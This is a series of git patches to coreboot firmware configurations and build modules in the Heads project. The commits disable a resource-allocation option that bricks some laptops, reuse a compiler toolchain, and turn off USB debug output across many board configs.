+CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA_ANALOG_I2C_HDMI_B=y +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_HDMI_B" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y +# CONFIG_TPM_LOG_TPM1 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y + +# +# I/O mapped, 8250-compatible +# +CONFIG_TTYS0_BASE=0x3f8 + +# +# Serial port base address = 0x3f8 +# +# CONFIG_CONSOLE_SERIAL_921600 is not set +# CONFIG_CONSOLE_SERIAL_460800 is not set +# CONFIG_CONSOLE_SERIAL_230400 is not set +CONFIG_CONSOLE_SERIAL_115200=y +# CONFIG_CONSOLE_SERIAL_57600 is not set +# CONFIG_CONSOLE_SERIAL_38400 is not set +# CONFIG_CONSOLE_SERIAL_19200 is not set +# CONFIG_CONSOLE_SERIAL_9600 is not set +CONFIG_TTYS0_LCS=3 +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CMOS_POST is not set +CONFIG_POST_DEVICE_NONE=y +# CONFIG_POST_DEVICE_LPC is not set +# CONFIG_POST_DEVICE_PCI_PCIE is not set +CONFIG_POST_IO_PORT=0x80 +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_GDB_STUB is not set +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_RESOURCES is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_INTEL_ME is not set +# CONFIG_DEBUG_FUNC is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y From 2253f6f3a39d261f5b4dc03ab182a72866005098 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 19 Jul 2024 12:18:25 -0400 Subject: [PATCH 179/619] nv41/ns50 coreboot configs: unset 'CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y': turns nv41 into a brick under current used coreboot Dasharo fork Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-ns50.config | 2 +- config/coreboot-nitropad-nv41.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index cc37e297e..9e5dc0ee4 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -602,7 +602,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set # end of Devices # diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 85513d1dc..9484aaf51 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -603,7 +603,7 @@ CONFIG_INTEL_GMA_HAVE_VBT=y CONFIG_INTEL_GMA_ADD_VBT=y # CONFIG_SOFTWARE_I2C is not set CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set # end of Devices # From d20333f08118ce6c221ce92dfbb93187f6893332 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Fri, 19 Jul 2024 09:27:11 -0400 Subject: [PATCH 180/619] modules/coreboot: Reuse 24.02.01 toolchain for coreboot-purism Reuse the toolchain from coreboot-24.02.01 for coreboot-purism (based on 24.02.01) instead of compiling a separate toolchain. Signed-off-by: Jonathon Hall --- modules/coreboot | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 67a820d5c..13fc943f4 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -86,11 +86,10 @@ coreboot-talos_2_repo := https://github.com/Dasharo/coreboot coreboot-talos_2_commit_hash := fc47236e9877f4113dfcce07fa928f52d4d2c8ee $(eval $(call coreboot_module,talos_2,)) -# Similarly, purism is based on 24.02.01, but nothing builds against that release -# or any other fork - no benefit to sharing the toolchain yet. +# coreboot-purism is based on 24.02.01 - reuse that toolchain. coreboot-purism_repo := https://source.puri.sm/firmware/coreboot.git coreboot-purism_commit_hash := f4f61b75bcfc50fa3a89f8f438e5312e750f6e3c -$(eval $(call coreboot_module,purism,)) +$(eval $(call coreboot_module,purism,24.02.01)) # MSI and Nitropad NV41 / NS50 boards are based on Dasharo coreboot port coreboot-dasharo_repo := https://github.com/dasharo/coreboot From acc64934920432a1a52a86bddc04b26465256acf Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 19 Jul 2024 17:44:30 -0400 Subject: [PATCH 181/619] coreboot configs: unify turning CONFIG_USBDEBUG off sed -i '$a CONFIG_USBDEBUG=n' config/coreboot-*.config grep -R CONFIG_COREBOOT_VERSION boards/ | awk -F "/" {'print $2'} | while read board; do if ! sudo make BOARD=$board coreboot.save_in_oldconfig_format_in_place > /dev/null 2>&1; then echo $board failed;fi; done Note: Boards that are unmaintained accumulates settings addition per the sed call. Why deactivate: - Well, this is equivalent of cbmem -c which gives way too much information from attacker. TODO: add an helper later on so that builds aimed at testing coreboot version bump pass to release mode or something. As of this commit, we accept that bricks might happen and that troubleshooting will be made in a case basis?! Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 10 +--------- config/coreboot-kgpe-d16_server.config | 10 +--------- .../coreboot-kgpe-d16_workstation-usb_keyboard.config | 10 +--------- config/coreboot-kgpe-d16_workstation.config | 10 +--------- config/coreboot-p8z77-m_pro-tpm1.config | 1 + config/coreboot-qemu-fbwhiptail-tpm1-hotp.config | 1 + config/coreboot-qemu-tpm1.config | 11 +---------- config/coreboot-qemu-tpm2.config | 11 +---------- config/coreboot-t420-maximized.config | 10 +--------- config/coreboot-t420.config | 1 + config/coreboot-t430-legacy-flash.config | 1 + config/coreboot-t430-legacy.config | 1 + config/coreboot-t430-maximized.config | 10 +--------- config/coreboot-t440p.config | 10 +--------- config/coreboot-t520-maximized.config | 1 + config/coreboot-t530-dgpu-maximized.config | 1 + config/coreboot-t530-maximized.config | 10 +--------- config/coreboot-w530-dgpu-K1000m-maximized.config | 1 + config/coreboot-w530-dgpu-K2000m-maximized.config | 1 + config/coreboot-w530-maximized.config | 10 +--------- config/coreboot-w541.config | 10 +--------- config/coreboot-x220-maximized.config | 10 +--------- config/coreboot-x220.config | 1 + config/coreboot-x230-legacy-flash.config | 10 +--------- config/coreboot-x230-legacy.config | 10 +--------- config/coreboot-x230-maximized-fhd_edp.config | 10 +--------- config/coreboot-x230-maximized.config | 10 +--------- config/coreboot-z220-cmt.config | 10 +--------- 28 files changed, 28 insertions(+), 164 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 33490fc80..91973ac1a 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -143,7 +143,6 @@ CONFIG_DCACHE_RAM_BASE=0xc2000 CONFIG_DCACHE_RAM_SIZE=0x1e000 CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f CONFIG_MAX_REBOOT_CNT=10 -CONFIG_USBDEBUG_HCD_INDEX=0 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" @@ -160,7 +159,7 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_USBDEBUG=y +# CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y @@ -484,12 +483,6 @@ CONFIG_DRIVERS_UART=y # CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_WIFI=y # CONFIG_USE_SAR is not set @@ -597,7 +590,6 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_9600 is not set CONFIG_TTYS0_BAUD=115200 # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index b00b5b778..29e39dd14 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -143,7 +143,6 @@ CONFIG_DCACHE_RAM_BASE=0xc2000 CONFIG_DCACHE_RAM_SIZE=0x1e000 CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f CONFIG_MAX_REBOOT_CNT=10 -CONFIG_USBDEBUG_HCD_INDEX=0 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" @@ -160,7 +159,7 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_USBDEBUG=y +# CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y @@ -484,12 +483,6 @@ CONFIG_DRIVERS_UART=y # CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_WIFI=y # CONFIG_USE_SAR is not set @@ -597,7 +590,6 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_9600 is not set CONFIG_TTYS0_BAUD=115200 # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 33490fc80..91973ac1a 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -143,7 +143,6 @@ CONFIG_DCACHE_RAM_BASE=0xc2000 CONFIG_DCACHE_RAM_SIZE=0x1e000 CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f CONFIG_MAX_REBOOT_CNT=10 -CONFIG_USBDEBUG_HCD_INDEX=0 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" @@ -160,7 +159,7 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_USBDEBUG=y +# CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y @@ -484,12 +483,6 @@ CONFIG_DRIVERS_UART=y # CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_WIFI=y # CONFIG_USE_SAR is not set @@ -597,7 +590,6 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_9600 is not set CONFIG_TTYS0_BAUD=115200 # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 33490fc80..91973ac1a 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -143,7 +143,6 @@ CONFIG_DCACHE_RAM_BASE=0xc2000 CONFIG_DCACHE_RAM_SIZE=0x1e000 CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f CONFIG_MAX_REBOOT_CNT=10 -CONFIG_USBDEBUG_HCD_INDEX=0 CONFIG_OVERRIDE_DEVICETREE="" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_FMDFILE="" @@ -160,7 +159,7 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_TTYS0_LCS=3 CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -CONFIG_USBDEBUG=y +# CONFIG_USBDEBUG is not set CONFIG_IPMI_KCS_REGISTER_SPACING=1 CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y @@ -484,12 +483,6 @@ CONFIG_DRIVERS_UART=y # CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 -CONFIG_USBDEBUG_DONGLE_STD=y -# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set -# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set -CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 # CONFIG_VPD is not set CONFIG_DRIVERS_GENERIC_WIFI=y # CONFIG_USE_SAR is not set @@ -597,7 +590,6 @@ CONFIG_CONSOLE_SERIAL_115200=y # CONFIG_CONSOLE_SERIAL_9600 is not set CONFIG_TTYS0_BAUD=115200 # CONFIG_SPKMODEM is not set -CONFIG_CONSOLE_USB=y # CONFIG_CONSOLE_NE2K is not set CONFIG_CONSOLE_CBMEM=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 diff --git a/config/coreboot-p8z77-m_pro-tpm1.config b/config/coreboot-p8z77-m_pro-tpm1.config index 35b3e70d4..34b62a718 100644 --- a/config/coreboot-p8z77-m_pro-tpm1.config +++ b/config/coreboot-p8z77-m_pro-tpm1.config @@ -702,3 +702,4 @@ CONFIG_HAVE_BOOTBLOCK=y CONFIG_HAVE_ROMSTAGE=y CONFIG_HAVE_RAMSTAGE=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config index 562095f09..6c184c26a 100644 --- a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config +++ b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config @@ -18,3 +18,4 @@ CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" CONFIG_USBDEBUG=y +CONFIG_USBDEBUG=n diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 13272f334..6b344e74a 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -133,7 +133,6 @@ CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=0 # CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set @@ -363,14 +362,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_DRIVERS_UART_OXPCIE is not set CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG_IN_PRE_RAM=y -CONFIG_USBDEBUG_DEFAULT_PORT=0 